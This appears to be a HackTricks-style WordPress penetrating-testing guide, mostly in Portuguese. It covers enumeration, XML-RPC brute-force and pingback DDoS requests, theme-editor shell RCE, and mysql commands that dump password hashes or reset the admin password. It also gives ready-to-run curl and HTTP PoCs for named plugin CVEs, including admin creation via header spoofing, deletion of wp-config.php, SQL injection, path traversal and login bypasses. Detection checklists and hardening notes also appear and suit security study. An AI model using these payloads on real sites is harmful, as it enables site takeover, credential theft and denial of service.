Wordpress

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Informações básicas

  • Arquivos enviados vão para: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Arquivos de temas podem ser encontrados em /wp-content/themes/, então se você alterar algum php do tema para obter RCE você provavelmente usará esse caminho. Por exemplo: Usando o tema twentytwelve você pode acessar o arquivo 404.php em: /wp-content/themes/twentytwelve/404.php

  • Outra URL útil pode ser: /wp-content/themes/default/404.php

  • No wp-config.php você pode encontrar a senha root do banco de dados.

  • Caminhos de login padrão para verificar: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Principais arquivos do WordPress

  • index.php
  • license.txt contém informações úteis, como a versão do WordPress instalada.
  • wp-activate.php é usado para o processo de ativação por email ao configurar um novo site WordPress.
  • Pastas de login (podem ser renomeadas para ocultá-las):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php é um arquivo que representa um recurso do WordPress que permite que dados sejam transmitidos com HTTP atuando como mecanismo de transporte e XML como mecanismo de codificação. Esse tipo de comunicação foi substituído pela REST API do WordPress.
  • A pasta wp-content é o diretório principal onde plugins e temas são armazenados.
  • wp-content/uploads/ é o diretório onde quaisquer arquivos enviados para a plataforma são armazenados.
  • wp-includes/ é o diretório onde os arquivos principais são armazenados, como certificados, fontes, arquivos JavaScript e widgets.
  • wp-sitemap.xml Em versões do WordPress 5.5 ou superiores, o WordPress gera um arquivo sitemap XML com todas as postagens públicas e tipos de post e taxonomias publicamente consultáveis.

Pós-exploração

  • O arquivo wp-config.php contém informações necessárias para o WordPress se conectar ao banco de dados, como o nome do banco de dados, host do banco, nome de usuário e senha, chaves de autenticação e salts, e o prefixo das tabelas do banco de dados. Este arquivo de configuração também pode ser usado para ativar o modo DEBUG, o que pode ser útil na resolução de problemas.

Permissões de usuários

  • Administrator
  • Editor: Publica e gerencia suas e as postagens de outros
  • Author: Publica e gerencia suas próprias postagens
  • Contributor: Escreve e gerencia suas postagens, mas não pode publicá-las
  • Subscriber: Navega pelas postagens e edita seu perfil

Enumeração passiva

Obter versão do WordPress

Verifique se você consegue encontrar os arquivos /license.txt ou /readme.html

Dentro do código-fonte da página (exemplo de https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Arquivos de link CSS

  • Arquivos JavaScript

Obter Plugins

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Obter Temas

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Extrair versões em geral

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Enumeração ativa

Plugins and Themes

Você provavelmente não conseguirá encontrar todos os Plugins and Themes possíveis. Para descobrir todos eles, você precisará ativamente Brute Force uma lista de Plugins and Themes (esperançosamente existem ferramentas automatizadas que contêm essas listas).

Usuários

  • ID Brute: Você obtém usuários válidos de um site WordPress ao Brute Forcing os IDs de usuários:
curl -s -I -X GET http://blog.example.com/?author=1

Se as respostas forem 200 ou 30X, isso significa que o id é válido. Se a resposta for 400, então o id é inválido.

  • wp-json: Você também pode tentar obter informações sobre os usuários consultando:
curl http://blog.example.com/wp-json/wp/v2/users

Outro endpoint /wp-json/ que pode revelar algumas informações sobre usuários é:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Observe que este endpoint expõe apenas usuários que fizeram uma publicação. Apenas informações sobre os usuários que têm esse recurso habilitado serão fornecidas.

Também note que /wp-json/wp/v2/pages pode leak endereços IP.

  • Login username enumeration: Ao fazer login em /wp-login.php a mensagem é diferente e indica se o username existe ou não.

XML-RPC

Se xml-rpc.php estiver ativo, você pode realizar um brute-force de credenciais ou usá-lo para lançar ataques DoS contra outros recursos. (You can automate this process using this for example).

Para verificar se está ativo, tente acessar /xmlrpc.php e enviar esta requisição:

Verificar

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories ou metaWeblog.getUsersBlogs são alguns dos métodos que podem ser usados para brute-force credentials. Se você encontrar qualquer um deles, pode enviar algo como:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

O texto “Incorrect username or password” dentro de uma resposta com código 200 deve aparecer se as credenciais não forem válidas.

Usando as credenciais corretas você pode upload de um arquivo. Na resposta o caminho aparecerá (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Além disso, existe uma maneira mais rápida de brute-force de credenciais usando system.multicall, pois você pode testar várias credenciais na mesma requisição:

Bypass 2FA

Esse método é destinado a programas e não a humanos, e é antigo; portanto não suporta 2FA. Então, se você tem creds válidas mas a entrada principal está protegida por 2FA, you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA. Observe que você não será capaz de executar todas as ações que pode fazer pelo console, mas ainda assim pode conseguir RCE como Ippsec explica em https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

If you can find the method pingback.ping inside the list you can make the Wordpress send an arbitrary request to any host/port.\ Isso pode ser usado para pedir que milhares de sites Wordpress acessem um único local (causando um DDoS nesse local) ou você pode usá-lo para fazer o Wordpress lo scan alguma rede interna (você pode indicar qualquer porta).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Se você obtiver faultCode com um valor maior que 0 (17), isso significa que a porta está aberta.

Veja o uso de system.multicall na seção anterior para aprender como abusar deste método e causar DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

Este arquivo geralmente existe na raiz do site Wordpress: /wp-cron.php
Quando este arquivo é accessed uma “heavy” MySQL query é executada, por isso ele pode ser usado por attackers para cause um DoS.
Além disso, por padrão, o wp-cron.php é chamado a cada carregamento de página (sempre que um client solicita qualquer página Wordpress), o que em sites de alto tráfego pode causar problemas (DoS).

É recomendado desabilitar o Wp-Cron e criar um cronjob real dentro do host que execute as ações necessárias em intervalos regulares (sem causar problemas).

/wp-json/oembed/1.0/proxy - SSRF

Tente acessar https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e o site Wordpress pode fazer uma requisição para você.

This is the response when it doesn’t work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

This tool checks if the methodName: pingback.ping and for the path /wp-json/oembed/1.0/proxy and if exists, it tries to exploit them.

Ferramentas Automáticas

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Obter acesso sobrescrevendo um bit

Mais do que um ataque real, isto é uma curiosidade. No CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man você poderia inverter 1 bit de qualquer arquivo wordpress. Assim, você poderia inverter a posição 5389 do arquivo /var/www/html/wp-includes/user.php para transformar a operação NOT (!) em NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Painel RCE

Modificando um php do tema usado (credenciais de admin necessárias)

Appearance → Theme Editor → 404 Template (à direita)

Substitua o conteúdo por um php shell:

Procure na internet como acessar essa página atualizada. Neste caso você deve acessar aqui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Você pode usar:

use exploit/unix/webapp/wp_admin_shell_upload

para obter uma sessão.

RCE de Plugin

Plugin PHP

Pode ser possível enviar arquivos .php como um plugin.
Crie seu backdoor PHP usando, por exemplo:

Em seguida, adicione um novo plugin:

Faça o upload do plugin e pressione Install Now:

Clique em Procced:

Provavelmente isso não fará nada à vista, mas se você acessar Media, verá seu shell carregado:

Acesse-o e você verá a URL para executar o reverse shell:

Envio e ativação de plugin malicioso

Este método envolve a instalação de um plugin malicioso conhecido por ser vulnerável e que pode ser explorado para obter um web shell. Este processo é realizado através do painel do WordPress da seguinte forma:

  1. Aquisição do Plugin: O plugin é obtido de uma fonte como Exploit DB, por exemplo here.
  2. Instalação do Plugin:
  • Navegue até o WordPress dashboard, então vá para Dashboard > Plugins > Upload Plugin.
  • Faça upload do arquivo zip do plugin baixado.
  1. Ativação do Plugin: Uma vez que o plugin esteja instalado com sucesso, ele deve ser ativado através do dashboard.
  2. Exploração:
  • Com o plugin “reflex-gallery” instalado e ativado, ele pode ser explorado pois é conhecido por ser vulnerável.
  • O Metasploit framework fornece um exploit para essa vulnerabilidade. Ao carregar o módulo apropriado e executar comandos específicos, uma sessão meterpreter pode ser estabelecida, concedendo acesso não autorizado ao site.
  • Observa-se que este é apenas um dos muitos métodos para explorar um site WordPress.

O conteúdo inclui auxílios visuais mostrando os passos no dashboard do WordPress para instalar e ativar o plugin. No entanto, é importante notar que explorar vulnerabilidades dessa forma é ilegal e antiético sem autorização adequada. Essas informações devem ser usadas de forma responsável e somente em um contexto legal, como pentesting com permissão explícita.

Para passos mais detalhados, verifique: https://www.hackingarticles.in/wordpress-reverse-shell/

De XSS para RCE

  • WPXStrike: WPXStrike é um script projetado para escalar uma vulnerabilidade Cross-Site Scripting (XSS) para Remote Code Execution (RCE) ou outras vulnerabilidades críticas no WordPress. Para mais informações, veja this post. Ele fornece suporte para WordPress Versions 6.X.X, 5.X.X and 4.X.X. e permite:
  • Privilege Escalation: Cria um usuário no WordPress.
  • (RCE) Custom Plugin (backdoor) Upload: Faz upload do seu plugin customizado (backdoor) para o WordPress.
  • (RCE) Built-In Plugin Edit: Edita um Built-In Plugin no WordPress.
  • (RCE) Built-In Theme Edit: Edita um Built-In Theme no WordPress.
  • (Custom) Custom Exploits: Exploits customizados para plugins/temas de terceiros do WordPress.

Pós-Exploração

Extrair nomes de usuário e senhas:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Alterar senha do administrador:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress Plugins Pentest

Superfície de Ataque

Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em sua funcionalidade. Você pode ver como um plugin pode expor funcionalidades nos pontos abaixo e alguns exemplos de plugins vulneráveis em this blog post.

  • wp_ajax

Uma das formas que um plugin pode expor funções aos usuários é via manipuladores AJAX. Eles podem conter bugs de lógica, autorização ou autenticação. Além disso, é bastante comum que essas funções baseiem tanto a autenticação quanto a autorização na existência de um nonce do Wordpress que qualquer usuário autenticado na instância do Wordpress pode ter (independentemente do seu papel).

Estas são as funções que podem ser usadas para expor uma função em um plugin:

add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

O uso de nopriv torna o endpoint acessível por qualquer usuário (mesmo os não autenticados).

Caution

Além disso, se a função está apenas verificando a autorização do usuário com a função wp_verify_nonce, essa função está apenas verificando se o usuário está logado, geralmente não verifica o papel do usuário. Então usuários com baixo privilégio podem ter acesso a ações de alto privilégio.

  • REST API

Também é possível expor funções do wordpress registrando uma REST API usando a função register_rest_route:

register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback é uma função de callback que verifica se um determinado usuário está autorizado a chamar o método da API.

Se a função embutida __return_true for usada, ela simplesmente pula a verificação de permissões do usuário.

  • Acesso direto ao arquivo php

Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha alguma funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela será explorável por qualquer usuário.

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.

  • Impacto: elevação de privilégios não autenticada para admin por meio da criação de um novo administrador via a rota core users REST.
  • Exemplo de header: X-Wcpay-Platform-Checkout-User: 1 (força o ID do usuário 1, tipicamente a primeira conta de administrador).
  • Rota explorada: POST /wp-json/wp/v2/users com um array de role elevado.

PoC

POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Por que funciona

  • O plugin mapeia um header controlado pelo cliente para o estado de autenticação e pula as verificações de capability.
  • WordPress core expects create_users capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.

Indicadores de sucesso esperados

  • HTTP 201 com um corpo JSON descrevendo o usuário criado.
  • Um novo usuário admin visível em wp-admin/users.php.

Detection checklist

  • Grep for getallheaders(), $_SERVER['HTTP_...'], or vendor SDKs that read custom headers to set user context (e.g., wp_set_current_user(), wp_set_auth_cookie()).
  • Revisar REST registrations para callbacks privilegiados que não tenham checagens robustas de permission_callback e que em vez disso dependam de headers da requisição.
  • Procurar por usos de funções core de gerenciamento de usuário (wp_insert_user, wp_create_user) dentro de REST handlers que sejam controladas apenas por valores de header.

Exclusão Arbitrária de Arquivo Não Autenticada via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress themes and plugins frequently expose AJAX handlers through the wp_ajax_ and wp_ajax_nopriv_ hooks. When the nopriv variant is used the callback becomes reachable by unauthenticated visitors, so any sensitive action must additionally implement:

  1. A capability check (e.g. current_user_can() or at least is_user_logged_in()), and
  2. A CSRF nonce validated with check_ajax_referer() / wp_verify_nonce(), and
  3. Strict input sanitisation / validation.

O tema multipurpose Litho (< 3.1) esqueceu desses 3 controles na funcionalidade Remove Font Family e acabou distribuindo o seguinte código (simplificado):

function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Problemas introduzidos por este trecho:

  • Acesso não autenticado – o hook wp_ajax_nopriv_ está registrado.
  • Sem verificação de nonce / capability – qualquer visitante pode acessar o endpoint.
  • Sem sanitização de caminho – a string controlada pelo usuário fontfamily é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico traversal ../../.

Exploração

Um atacante pode deletar qualquer arquivo ou diretório abaixo do diretório base de uploads (normalmente <wp-root>/wp-content/uploads/) enviando uma única requisição HTTP POST:

curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

Checklist de detecção

  • Qualquer callback add_action( 'wp_ajax_nopriv_...') que chame filesystem helpers (copy(), unlink(), $wp_filesystem->delete(), etc.).
  • Concatenação de entrada de usuário não sanitizada em caminhos (procure por $_POST, $_GET, $_REQUEST).
  • Ausência de check_ajax_referer() e current_user_can()/is_user_logged_in().

Escalada de privilégio via restauração de role obsoleta e autorização ausente (ASE “View Admin as Role”)

Many plugins implement a “view as role” or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., $_REQUEST['reset-for']) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation.

A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on reset-for=<username> if the username appeared in an internal array $options['viewing_admin_as_role_are'], but performed neither a current_user_can() check nor a nonce verification before removing current roles and re-adding the saved roles from user meta _asenha_view_admin_as_original_roles:

// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

Por que é explorável

  • Confia em $_REQUEST['reset-for'] e em uma opção do plugin sem autorização no servidor.
  • Se um usuário anteriormente teve privilégios mais altos salvos em _asenha_view_admin_as_original_roles e foi rebaixado, ele pode restaurá-los acionando o caminho de reset.
  • Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em viewing_admin_as_role_are (autorização quebrada).

Exploração (exemplo)

# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

Em builds vulneráveis isto remove as funções atuais e readiciona as funções originais salvas (ex.: administrator), escalando efetivamente privilégios.

Checklist de detecção

  • Procure por funcionalidades de troca de função que persistam as “funções originais” em user meta (ex.: _asenha_view_admin_as_original_roles).
  • Identifique caminhos de reset/restore que:
  • Leem nomes de usuário de $_REQUEST / $_GET / $_POST.
  • Modificam funções via add_role() / remove_role() sem current_user_can() e wp_verify_nonce() / check_admin_referer().
  • Autorizam com base em um array de opção do plugin (ex.: viewing_admin_as_role_are) em vez das capacidades do ator.

Alguns plugins conectam helpers de troca de usuário ao hook público init e derivam a identidade de um cookie controlado pelo cliente. Se o código chamar wp_set_auth_cookie() sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário.

Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1):

function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

Por que é explorável

  • O hook público init torna o handler acessível a usuários unauthenticated (sem proteção is_user_logged_in()).
  • A identidade é derivada de um cookie modificável pelo cliente (original_user_id).
  • A chamada direta para wp_set_auth_cookie($uid) faz o login do solicitante como esse usuário sem verificações de capability/nonce.

Exploração (unauthenticated)

GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

Considerações de WAF para CVEs do WordPress/plugin

WAFs genéricos de borda/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de application-specific logic/auth que parecem tráfego benigno, a menos que o motor entenda as rotas do WordPress e a semântica do plugin.

Notas ofensivas

  • Mire endpoints específicos de plugin com payloads limpos: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • Exercite unauth paths primeiro (AJAX nopriv, REST com permissivo permission_callback, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação.
  • Casos típicos de alto impacto: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

Notas defensivas

  • Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente virtual patches específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente.
  • Prefira positive-security checks no código (capabilities, nonces, strict input validation) em vez de filtros regex negativos.

Proteção do WordPress

Atualizações regulares

Certifique-se de que o WordPress, plugins e temas estejam atualizados. Confirme também que a atualização automática está habilitada em wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Além disso, instale apenas plugins e temas WordPress confiáveis.

Plugins de Segurança

Outras Recomendações

  • Remova o usuário padrão admin
  • Use senhas fortes e 2FA
  • Periodicamente revise as permissões dos usuários
  • Limite tentativas de login para prevenir ataques Brute Force
  • Renomeie o arquivo wp-admin.php e permita acesso apenas internamente ou de certos endereços IP.

Injeção SQL não autenticada por validação insuficiente (WP Job Portal <= 2.3.2)

O plugin de recrutamento WP Job Portal expôs uma tarefa savecategory que, em última instância, executa o seguinte código vulnerável dentro de modules/category/model.php::validateFormData():

$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

Problemas introduzidos por este trecho:

  1. Entrada de usuário não sanitizadaparentid vem diretamente da requisição HTTP.
  2. Concatenação de strings dentro da cláusula WHERE – sem is_numeric() / esc_sql() / prepared statement.
  3. Acessível sem autenticação – embora a ação seja executada através de admin-post.php, a única checagem em vigor é um CSRF nonce (wp_verify_nonce()), que qualquer visitante pode recuperar de uma página pública que incorpora o shortcode [wpjobportal_my_resumes].

Exploração

  1. Obtenha um nonce novo:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Injete SQL arbitrário abusando de parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

A resposta revela o resultado da query injetada ou altera o banco de dados, provando a presença de SQLi.

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

Outra tarefa, downloadcustomfile, permitia que visitantes baixassem qualquer arquivo no disco via path traversal. O ponto vulnerável está localizado em modules/customfield/model.php::downloadCustomUploadedFile():

$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name é attacker-controlled e concatenado without sanitisation. Novamente, a única barreira é um CSRF nonce que pode ser obtido na página do currículo.

Exploitation

curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

O servidor responde com o conteúdo de wp-config.php, leaking DB credentials and auth keys.

Tomada de conta não autenticada via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

Muitos temas/plugins fornecem helpers de “social login” expostos via admin-ajax.php. Se uma ação AJAX não autenticada (wp_ajax_nopriv_…) confiar em identificadores fornecidos pelo cliente quando os dados do provedor estiverem ausentes e então chamar wp_set_auth_cookie(), isso se torna um bypass completo de autenticação.

Padrão com falha típico (simplificado)

public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Por que é explorável

  • Acessível sem autenticação via admin-ajax.php (wp_ajax_nopriv_… action).
  • Sem verificações de nonce/capability antes da alteração de estado.
  • Falta verificação do provedor OAuth/OpenID; o ramo padrão aceita entrada do atacante.
  • get_user_by(‘email’, $_POST[‘id’]) seguido por wp_set_auth_cookie($uid) autentica o requisitante como qualquer endereço de email existente.

Exploração (não autenticada)

  • Pré-requisitos: o atacante pode acessar /wp-admin/admin-ajax.php e conhece/adivinha um e-mail de usuário válido.
  • Defina o provedor para um valor não suportado (ou omita) para atingir o ramo padrão e passar id=<victim_email>.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {“status”:“success”,“message”:“Login successfully.”}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspecione o tema/plugin procurando por registros add_action(‘wp_ajax_nopriv_…’, ‘…’) no código de social login (e.g., framework/add-ons/social-login/class-social-login.php).
  • Faça grep por wp_set_auth_cookie(), get_user_by(‘email’, …) dentro dos handlers AJAX.

Detection checklist

  • Web logs mostrando POSTs não autenticados para /wp-admin/admin-ajax.php com a social-login action e id=.
  • Respostas 200 com o JSON de sucesso imediatamente precedendo tráfego autenticado do mesmo IP/User-Agent.

Hardening

  • Não derive identidade a partir de input do cliente. Aceite apenas emails/IDs que se originem de um token/ID do provedor validado.
  • Exija nonces CSRF e checagens de capability mesmo para helpers de login; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário.
  • Valide e verifique respostas OAuth/OIDC no servidor; rejeite providers ausentes/inválidos (sem fallback para o POST id).
  • Considere desabilitar temporariamente o social login ou aplicar um patch virtual na borda (bloquear a action vulnerável) até corrigir.

Patched behaviour (Jobmonster 4.8.0)

  • Removido o fallback inseguro de $_POST[‘id’]; $user_email deve originar-se de ramificações de provedor verificadas em switch($_POST[‘using’]).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – gerar uma connection key e usá-la

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Por que é explorável

  • Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou falta de permission_callback
  • Sem aplicação de capability; chave gerada é aceita como um bypass universal

Checklist de detecção

  • Faça grep no código do plugin por register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Qualquer rota que emita tokens/keys com base em identidade fornecida na request (username/email) sem vincular a um usuário autenticado ou capability
